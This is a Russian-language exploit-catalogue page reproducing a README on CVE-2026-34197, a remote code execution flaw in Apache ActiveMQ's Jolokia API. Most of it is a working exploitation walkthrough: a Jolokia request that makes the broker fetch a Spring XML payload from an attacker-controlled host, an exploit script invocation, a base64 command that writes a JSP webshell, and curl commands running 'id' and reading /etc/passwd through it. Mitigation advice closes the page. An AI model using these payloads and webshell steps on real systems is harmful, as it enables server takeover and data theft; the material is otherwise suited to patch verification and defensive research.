Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia vulnerability analysis and reproduction notes | Kitploit
Инструменты/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Apache ActiveMQ RCE via Jolokia vulnerability analysis and reproduction notes

Репозиторий
63 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-34197 — RCE в Apache ActiveMQ через Jolokia

1. Обзор

ЭлементДетали
CVE IDCVE-2026-34197
CVSS8.8 (ВЫСОКИЙ)
Тип уязвимостиУдаленное выполнение кода (RCE)
CWECWE-20 Некорректная проверка входных данных / CWE-94 Инъекция кода
Пораженный компонентApache ActiveMQ Classic — мост JMX-HTTP Jolokia
Уязвимые версии< 5.19.4 и 6.0.0 – 6.2.2
Исправленные версии5.19.4 / 6.2.3
Дата раскрытия2026-04-07
АутентификацияТребуется по умолчанию, обычно admin:admin. Версии 6.0.0–6.1.1 могут быть доступны без аутентификации при комбинировании с CVE-2024-32114.
ОбнаружениеСообщено как исследование с помощью ИИ от Anthropic Claude, после того как уязвимость присутствовала около 13 лет.

2. Первопричина

2.1 Цепочка атаки

root@kitploit:~
Атакующий
  |
  |-- 1. POST /api/jolokia/
  |      Вызов BrokerService.addNetworkConnector(String)
  |      Аргумент: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
Брокер ActiveMQ
  |
  |-- 2. Разбор URI. Так как vm://evil не существует, ActiveMQ пытается создать брокер динамически.
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. Протокол xbean: загружает удаленный Spring XML-файл через HTTP.
  |
  |-- 4. ResourceXmlApplicationContext разбирает XML и создаёт экземпляр бина ProcessBuilder.
  |      Метод init-method="start" выполняется до того, как проверка конфигурации заблокирует URI.
  |
  `-- 5. Достигнуто удаленное выполнение кода.

2.2 Ключевые условия

  1. Доступность API Jolokia — Веб-консоль ActiveMQ открывает /api/jolokia/, предоставляя доступ к JMX через HTTP.
  2. Избыточный белый список MBean — Исправление CVE-2022-41678 ввело белый список, который разрешает широкий набор операций org.apache.activemq:*, включая addNetworkConnector.
  3. Удаленная конфигурация через VM Transport — Параметр brokerConfig транспорта vm:// может указывать на удаленный Spring XML, а создание бинов происходит до отклонения конфигурации.

2.3 Поведение исправления

В ActiveMQ 6.2.3 добавлена проверка внутри addNetworkConnector(), отклоняющая URI транспорта vm://:

root@kitploit:~
"error": "VM scheme is not allowed"

3. Воспроизведение

3.1 Окружение

ЭлементДетали
Хост атакующегоmacOS с Docker OrbStack
Целевой образalfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
Пользователь времени выполненияamq (uid=33031)
Базовая ОСRocky Linux 8.9

3.2 Шаги

Шаг 1: Запустите лабораторию

root@kitploit:~
cd upstream-poc
docker compose up -d

Шаг 2: Проверьте API Jolokia

root@kitploit:~
curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

Ответ status: 200 подтверждает, что Jolokia доступна.

Шаг 3: Запустите эксплойт и запишите веб-шелл

root@kitploit:~
python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

Скрипт выполняет следующие действия:

  1. Проверяет API Jolokia.
  2. Определяет имя брокера.
  3. Удаляет существующий NetworkConnector с именем NC, чтобы сделать повторное тестирование надёжным.
  4. Запускает локальный HTTP-сервер, который отдаёт вредоносный Spring XML-пэйлоад. JSP-веб-шелл встроен как base64, поэтому цели нужно только один раз загрузить XML.
  5. Отправляет запрос addNetworkConnector, чтобы инициировать уязвимый путь выполнения.
  6. Проверяет, что веб-шелл был успешно записан.

Шаг 4: Используйте веб-шелл

root@kitploit:~
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 Пример вывода

root@kitploit:~
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. Сравнение версий

ВерсияОбразОтвет JolokiaRCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NCУспешно как uid=0(root)
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NCУспешно как uid=33031(amq)
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowedИсправлено

5. Примечания по эксплуатации и ограничения

5.1 Повторная эксплуатация

addNetworkConnector() регистрирует соединитель с именем NC. Вторая регистрация приводит к конфликту имён JMX и возвращает ошибку 500. Скрипт обрабатывает это, вызывая removeNetworkConnector("NC") перед запуском эксплойта.

5.2 Запись веб-шелла

ActiveMQ использует встроенный Jetty, но каталог webapps существует на диске, и JSP-движок компилирует только что записанные .jsp файлы. Это делает запись веб-шелла возможной в протестированном окружении.

Пэйлоад записывает JSP с помощью встроенного base64:

root@kitploit:~
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

Преимущества:

  • Избегает проблем с разбором XML, вызванных специальными символами JSP, такими как <, >, % и ".
  • Избегает второго исходящего запроса от цели для загрузки JSP. Цель загружает только XML-пэйлоад.

5.3 Требование исходящего сетевого доступа

Цель должна иметь возможность связаться с HTTP-сервером атакующего для загрузки Spring XML-пэйлоада. Если у цели нет исходящего маршрута к атакующему, этот путь эксплуатации не может быть завершён.

5.4 Проверка Origin в Jolokia

Прямые запросы к Jolokia могут возвращать 403 из-за проверок CORS. Включите заголовок Origin, соответствующий цели:

root@kitploit:~
Origin: http://TARGET:8161

6. Файлы

root@kitploit:~
CVE-2026-34197/
|-- README.md                    # Этот отчёт
|-- exploit_webshell.py          # Одноразовый записыватель веб-шелла с встроенным base64 и случайным именем JSP
`-- upstream-poc/                # Копия файлов из dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Лабораторное окружение для ActiveMQ 6.2.1
    |-- exploit_poc.py           # Оригинальный PoC-скрипт с режимами serve/exploit/auto
    `-- serve_payload.py         # Простой HTTP-сервер для пэйлоада

Сравнение скриптов

СкриптНазначениеТребование исходящего доступаВеб-шелл
exploit_poc.pyОригинальный слепой PoC RCE, выполняющий произвольную командуТребуетсяНет
exploit_webshell.pyОдноразовое отражённое RCE через записанный JSP-веб-шеллТребуется только для загрузки XMLАвтоматически записывается со случайным именем

7. Меры по смягчению

  1. Обновление — Обновитесь до ActiveMQ Classic 5.19.4+ или 6.2.3+.
  2. Ограничьте доступ к Jolokia — Ограничьте доступ к порту 8161 с помощью правил брандмауэра или сетевой политики.
  3. Отключите Jolokia — Если удалённое управление JMX не требуется, отключите API Jolokia в jetty.xml.
  4. Измените учётные данные по умолчанию — Замените учётные данные по умолчанию admin:admin.
  5. Ограничьте исходящий доступ — Предотвратите доступ ActiveMQ к недоверенным внешним HTTP-ресурсам.

8. Ссылки

  • Раскрытие Horizon3.ai: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Уведомление о безопасности Apache: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • Оригинальный репозиторий PoC: https://github.com/dinosn/CVE-2026-34197
Скачать инструмент